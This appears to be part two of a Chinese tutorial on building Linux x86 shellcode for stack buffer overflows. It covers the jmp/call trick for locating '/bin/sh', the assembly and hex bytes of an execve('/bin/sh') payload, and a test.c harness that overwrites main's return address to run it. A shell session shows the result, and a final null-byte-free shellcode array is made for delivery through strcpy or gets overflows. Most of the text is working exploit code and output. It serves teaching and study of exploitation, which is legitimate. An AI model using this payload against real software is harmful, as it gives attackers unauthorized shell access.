二:实现一个shellcode
好,我们来实现这个算法。首先我们必须有一个字符串“/bin/sh”,还得有一个name数组。我们可以构造它们出来,可是,在shellcode中如何知道它们的地址呢?每一次程序都是动态加载,字符串和name数组的地址都不是固定的。
通过JMP和call的结合,黑客们巧妙的解决了这个问题。
------------------------------------------------------------------------ jmp call的偏移地址 # 2 bytes popl %esi # 1 byte //popl出来的是string的地址。 movl %esi,array-offset(%esi) # 3 bytes //在string+8处构造 name数组,
//name[0]放 string的地址
movb $0x0,nullbyteoffset(%esi)# 4 bytes //string+7处放0作为string的结 尾。 movl $0x0,null-offset(%esi) # 7 bytes //name[1]放0。 movl $0xb,%eax # 5 bytes //eax=0xb是execve的syscall代码 。 movl %esi,%ebx # 2 bytes //ebx=string的地址 leal array-offset,(%esi),%ecx # 3 bytes //ecx=name数组的开始地址 leal null-offset(%esi),%edx # 3 bytes //edx=name〔1]的地址 int $0x80 # 2 bytes //int 0x80是sys call movl $0x1, %eax # 5 bytes //eax=0x1是exit的syscall代码 movl $0x0, %ebx # 5 bytes //ebx=0是exit的返回值 int $0x80 # 2 bytes //int 0x80是sys call call popl 的偏移地址 # 5 bytes //这里放call,string 的地址就会 作 //为返回地址压栈。 /bin/sh 字符串 ------------------------------------------------------------------------ |
首先使用JMP相对地址来跳转到call,执行完call指令,字符串/bin/sh的地址将作为call的返回地址压入堆栈。现在来到popl esi,把刚刚压入栈中的字符串地址取出来,就获得了字符串的真实地址。然后,在字符串的第8个字节赋0,作为串的结尾。后面8个字节,构造name数组(两个整数,八个字节)。
我们可以写shellcode了。先写出汇编源程序。
shellcodeasm.c
------------------------------------------------------------------------
------
void main() {
__asm__("
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string \"/bin/sh\" # 8 bytes
");
}
------------------------------------------------------------------------
------
编译后,用gdb的b/bx 〔地址〕命令可以得到十六进制的表示。下面,写出测试程序如下:(注意,这个test程序是测试shellcode的基本程序)
test.c
------------------------------------------------------------------------
------
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"
void main() {
int *ret;
ret = (int *)&ret + 2; //ret 等于main()的返回地址
//(+2是因为:有pushl ebp ,否则加1就可以了。)
(*ret) = (int)shellcode; //修改main()的返回地址为shellcode的开始地
址。
}
------------------------------------------------------------------------
------
------------------------------------------------------------------------
------
[nkl10]$Content$nbsp;gcc -o test test.c
[nkl10]$Content$nbsp;./test
$Content$nbsp;exit
[nkl10]$Content$nbsp;
------------------------------------------------------------------------
------
我们通过一个shellcode数组来存放shellcode,当我们把程序(test.c)的返回地址ret设置成shellcode数组的开始地址时,程序在返回的时候就会去执行我们的shellcode,从而我们得到了一个shell。
运行结果,得到了bsh的提示符$,表明成功的开了一个shell。
这里有必要解释的是,我们把shellcode作为一个全局变量开在了数据段而不是作为一段代码。是因为在操作系统中,程序代码段的内容是具有只读属性的。不能修改。而我们的代码中movl %esi,0x8(%esi)等语句都修改了代码的一部分,所以不能放在代码段。
这个shellcode可以了吗?很遗憾,还差了一点。大家回想一下,在堆栈溢出中,关键在于字符串数组的写越界。但是,gets,strcpy等字符串函数在处理字符串的时候,以"\0" 为字符串结尾。遇\0就结束了写操作。而我们的shellcode串中有大量的\0字符。因此, 对于gets(name)说,上面的shellcode是不可行的。我们shellcode是不能有\0字符出现的。
因此,有些指令需要修改一下:
旧的指令 新的指令
--------------------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------
最后的shellcode为:
------------------------------------------------------------------------
----
char shellcode[]=
00 "\xeb\x1f" /* jmp 0x1f */
02 "\x5e" /* popl %esi */
03 "\x89\x76\x08" /* movl %esi,0x8(%esi) */
06 "\x31\xc0" /* xorl %eax,%eax */
08 "\x88\x46\x07" /* movb %eax,0x7(%esi) */
0b "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
0e "\xb0\x0b" /* movb $0xb,%al */
10 "\x89\xf3" /* movl %esi,%ebx */
12 "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
15 "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
18 "\xcd\x80" /* int $0x80 */
1a "\x31\xdb" /* xorl %ebx,%ebx */
1c "\x89\xd8" /* movl %ebx,%eax */
1e "\x40" /* inc %eax */
1f "\xcd\x80" /* int $0x80 */
21 "\xe8\xdc\xff\xff\xff" /* call -0x24 */
26 "/bin/sh" /* .string \"/bin/sh\" */
------------------------------------------------------------------------
上一页 [1] [2]